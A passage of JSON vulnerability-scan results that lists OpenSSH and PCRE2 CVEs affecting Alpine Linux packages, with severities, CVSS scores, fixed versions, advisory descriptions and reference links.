"DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d0c5489d6416d59dd9a2add698357cdb64ce44ad6bbbeb91934d61d02e107eef", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-59999", "PkgID": "openssh-client-default@10.3_p1-r0", "PkgName": "openssh-client-default", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-default@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "edad7dffbb08705e" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59999", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5beedda8826936725d63a9334f232bd794ae5e1b56aecbe81107374d79973688", "Title": "openssh: OpenSSH sshd: Security bypass due to incorrect handling of forwarding and tunneling options", "Description": "In sshd in OpenSSH before 10.4, DisableForwarding=yes was supposed to take precedence over PermitTunnel=yes, but did not.", "Severity": "HIGH", "CweIDs": [ "CWE-348" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69130", "https://access.redhat.com/security/cve/CVE-2026-59999", "https://bugzilla.redhat.com/2497927", "https://bugzilla.redhat.com/2497942", "https://bugzilla.redhat.com/2514321", "https://bugzilla.redhat.com/2514327", "https://bugzilla.redhat.com/2514328", "https://bugzilla.redhat.com/show_bug.cgi?id=2497927", "https://bugzilla.redhat.com/show_bug.cgi?id=2497942", "https://bugzilla.redhat.com/show_bug.cgi?id=2514321", "https://bugzilla.redhat.com/show_bug.cgi?id=2514327", "https://bugzilla.redhat.com/show_bug.cgi?id=2514328", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73282", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73283", "https://errata.almalinux.org/9/ALSA-2026-69130.html", "https://errata.rockylinux.org/RLSA-2026:69130", "https://github.com/advisories/GHSA-gcm2-x6hm-q4h3", "https://linux.oracle.com/cve/CVE-2026-59999.html", "https://linux.oracle.com/errata/ELSA-2026-69266.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-59999", "https://ubuntu.com/security/notices/USN-8533-1", "https://ubuntu.com/security/notices/USN-8804-1", "https://www.cve.org/CVERecord?id=CVE-2026-59999", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.01Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-60000", "PkgID": "openssh-client-default@10.3_p1-r0", "PkgName": "openssh-client-default", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-default@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "edad7dffbb08705e" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-60000", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ac13ad47e4df7c3203925f9da919a25c8b3470525d4c973a1ae667c17b78bde9", "Title": "openssh: OpenSSH: Denial of Service via excessive GSSAPI authentication attempts", "Description": "sshd in OpenSSH before 10.4 allows remote attackers to cause a denial of service (resource consumption from excessive authentication attempts) because MaxAuthTries was mishandled for GSSAPIAuthentication.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 1, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85958", "https://access.redhat.com/security/cve/CVE-2026-60000", "https://bugzilla.redhat.com/2497929", "https://bugzilla.redhat.com/2497935", "https://bugzilla.redhat.com/2497946", "https://bugzilla.redhat.com/show_bug.cgi?id=2497929", "https://bugzilla.redhat.com/show_bug.cgi?id=2497935", "https://bugzilla.redhat.com/show_bug.cgi?id=2497946", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59997", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60000", "https://errata.almalinux.org/9/ALSA-2026-85958.html", "https://errata.rockylinux.org/RLSA-2026:85958", "https://github.com/advisories/GHSA-76jm-35gr-hwcm", "https://linux.oracle.com/cve/CVE-2026-60000.html", "https://linux.oracle.com/errata/ELSA-2026-88211.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-60000", "https://ubuntu.com/security/notices/USN-8533-1", "https://ubuntu.com/security/notices/USN-8804-1", "https://www.cve.org/CVERecord?id=CVE-2026-60000", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.153Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-60002", "PkgID": "openssh-keygen@10.3_p1-r0", "PkgName": "openssh-keygen", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-keygen@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f664307121e99b5c" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-60002", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e61ed0151e4a9f86e491a882721b51b39ab35b187d02953ad53b76cb15a63d59", "Title": "openssh: OpenSSH: Use-after-free vulnerability during host key re-exchange on the client side", "Description": "ssh in OpenSSH before 10.4 can have a use-after-free when a server changes its host key during a key re-exchange. (This outcome occurs only on the client side.)", "Severity": "CRITICAL", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 9.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 9.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47756", "https://access.redhat.com/security/cve/CVE-2026-60002", "https://bugzilla.redhat.com/2462250", "https://bugzilla.redhat.com/2462351", "https://bugzilla.redhat.com/2462493", "https://bugzilla.redhat.com/2497936", "https://bugzilla.redhat.com/2497944", "https://bugzilla.redhat.com/show_bug.cgi?id=2462250", "https://bugzilla.redhat.com/show_bug.cgi?id=2462351", "https://bugzilla.redhat.com/show_bug.cgi?id=2462493", "https://bugzilla.redhat.com/show_bug.cgi?id=2497936", "https://bugzilla.redhat.com/show_bug.cgi?id=2497944", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55654", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55655", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59996", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60002", "https://errata.almalinux.org/9/ALSA-2026-47756.html", "https://errata.rockylinux.org/RLSA-2026:47756", "https://github.com/advisories/GHSA-gp5v-jg37-fvg6", "https://linux.oracle.com/cve/CVE-2026-60002.html", "https://linux.oracle.com/errata/ELSA-2026-47757.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-60002", "https://ubuntu.com/security/notices/USN-8533-1", "https://www.cve.org/CVERecord?id=CVE-2026-60002", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.43Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-keygen@10.3_p1-r0", "PkgName": "openssh-keygen", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-keygen@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f664307121e99b5c" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r2", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ea22926e8e851bc2441b433988a1571ae9949f8684c25c44db66864e77122968", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-59999", "PkgID": "openssh-keygen@10.3_p1-r0", "PkgName": "openssh-keygen", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-keygen@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f664307121e99b5c" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59999", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4bae2f687d52e1943e85cc28209ae82d156247629e0b8af082ae17f2ff990cc3", "Title": "openssh: OpenSSH sshd: Security bypass due to incorrect handling of forwarding and tunneling options", "Description": "In sshd in OpenSSH before 10.4, DisableForwarding=yes was supposed to take precedence over PermitTunnel=yes, but did not.", "Severity": "HIGH", "CweIDs": [ "CWE-348" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69130", "https://access.redhat.com/security/cve/CVE-2026-59999", "https://bugzilla.redhat.com/2497927", "https://bugzilla.redhat.com/2497942", "https://bugzilla.redhat.com/2514321", "https://bugzilla.redhat.com/2514327", "https://bugzilla.redhat.com/2514328", "https://bugzilla.redhat.com/show_bug.cgi?id=2497927", "https://bugzilla.redhat.com/show_bug.cgi?id=2497942", "https://bugzilla.redhat.com/show_bug.cgi?id=2514321", "https://bugzilla.redhat.com/show_bug.cgi?id=2514327", "https://bugzilla.redhat.com/show_bug.cgi?id=2514328", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73282", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-73283", "https://errata.almalinux.org/9/ALSA-2026-69130.html", "https://errata.rockylinux.org/RLSA-2026:69130", "https://github.com/advisories/GHSA-gcm2-x6hm-q4h3", "https://linux.oracle.com/cve/CVE-2026-59999.html", "https://linux.oracle.com/errata/ELSA-2026-69266.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-59999", "https://ubuntu.com/security/notices/USN-8533-1", "https://ubuntu.com/security/notices/USN-8804-1", "https://www.cve.org/CVERecord?id=CVE-2026-59999", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.01Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-60000", "PkgID": "openssh-keygen@10.3_p1-r0", "PkgName": "openssh-keygen", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-keygen@10.3_p1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f664307121e99b5c" }, "InstalledVersion": "10.3_p1-r0", "FixedVersion": "10.3_p1-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-60000", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e0521bd1254a55eac0225a27d9b32580c31205783d5da5c8ada11adda5da2b91", "Title": "openssh: OpenSSH: Denial of Service via excessive GSSAPI authentication attempts", "Description": "sshd in OpenSSH before 10.4 allows remote attackers to cause a denial of service (resource consumption from excessive authentication attempts) because MaxAuthTries was mishandled for GSSAPIAuthentication.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 1, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85958", "https://access.redhat.com/security/cve/CVE-2026-60000", "https://bugzilla.redhat.com/2497929", "https://bugzilla.redhat.com/2497935", "https://bugzilla.redhat.com/2497946", "https://bugzilla.redhat.com/show_bug.cgi?id=2497929", "https://bugzilla.redhat.com/show_bug.cgi?id=2497935", "https://bugzilla.redhat.com/show_bug.cgi?id=2497946", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59997", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59998", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60000", "https://errata.almalinux.org/9/ALSA-2026-85958.html", "https://errata.rockylinux.org/RLSA-2026:85958", "https://github.com/advisories/GHSA-76jm-35gr-hwcm", "https://linux.oracle.com/cve/CVE-2026-60000.html", "https://linux.oracle.com/errata/ELSA-2026-88211.html", "https://marc.info/?l=openssh-unix-dev\u0026m=178333966933090\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2026-60000", "https://ubuntu.com/security/notices/USN-8533-1", "https://ubuntu.com/security/notices/USN-8804-1", "https://www.cve.org/CVERecord?id=CVE-2026-60000", "https://www.openssh.org/releasenotes.html#10.4p1", "https://www.openwall.com/lists/oss-security/2026/07/06/5" ], "PublishedDate": "2026-07-08T01:16:29.153Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-103111", "PkgID": "pcre2@10.47-r1", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.47-r1?arch=x86_64\u0026distro=3.24.1", "UID": "ac141a1d132fce5b" }, "InstalledVersion": "10.47-r1", "FixedVersion": "10.49-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-103111", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a8ef494c8ac5585f763636553af41302285fdfc2371c3d1399f32937bdca20ca", "Title": "pcre2: pcre2: Out-of-bounds write via crafted regular expression", "Description": "PCRE2 before 10.49, when there is an attacker-controlled regular expression and certain JIT API usage, allows an out-of-bounds write with arbitrary data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-103111", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3m", "https://linux.oracle.com/cve/CVE-2026-103111.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00008.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-103111", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-103111" ], "PublishedDate": "2026-09-30T05:16:45.863Z", "LastModifiedDate": "2026-10-04T00:16:35.563Z" }, { "VulnerabilityID": "CVE-2026-86145", "PkgID": "pcre2@10.47-r1", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.47-r1?arch=x86_64\u0026distro=3.24.1", "UID": "ac141a1d132fce5b" }, "InstalledVersion": "10.47-r1", "FixedVersion": "10.48-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86145", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:44b7d1f6869ea0617708053a7f53169aba75bd30de60098e3049899fcbffa8ba", "Title": "pcre2: PCRE2: Out-of-bounds write allows arbitrary code execution via crafted regular expressions", "Description": "PCRE2 before 10.48 allows a pcre2_dfa_match out-of-bounds write because reuse of a cached workspace block, in a recursive DFA matching workspace, lacks a size check (even though a newly allocated block, for the same purpose, does have a size check). This outcome requires an attacker-controlled regular expression, or a recursive pattern in conjunction with a small heap limit (this can be set through the API).", "Severity": "HIGH", "CweIDs": [ "CWE-424" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "http://www.openwall.com/lists/oss-security/2026/09/05/3", "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-86145", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/17.1.0/BRSA-xqvt0yt0g9rb.toml", "https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://linux.oracle.com/cve/CVE-2026-86145.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86145", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-86145" ], "PublishedDate": "2026-09-05T06:17:10.37Z", "LastModifiedDate": "2026-09-09T16:04:24.933Z" }, { "VulnerabilityID": "CVE-2026-89157", "PkgID": "pcre2@10.47-r1", "PkgName": "pcre2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/pcre2@10.47-r1?arch=x86_64\u0026distro=3.24.1", "UID": "ac141a1d132fce5b" }, "InstalledVersion": "10.47-r1", "FixedVersion": "10.48-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89157", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cea807d1b491a2975e68f39595ee023923e4ff4a64cd4c38d93ec2606d03c1e1", "Title": "pcre2: PCRE2: Out-of-bounds write via large pattern input", "Description": "PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89157", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", 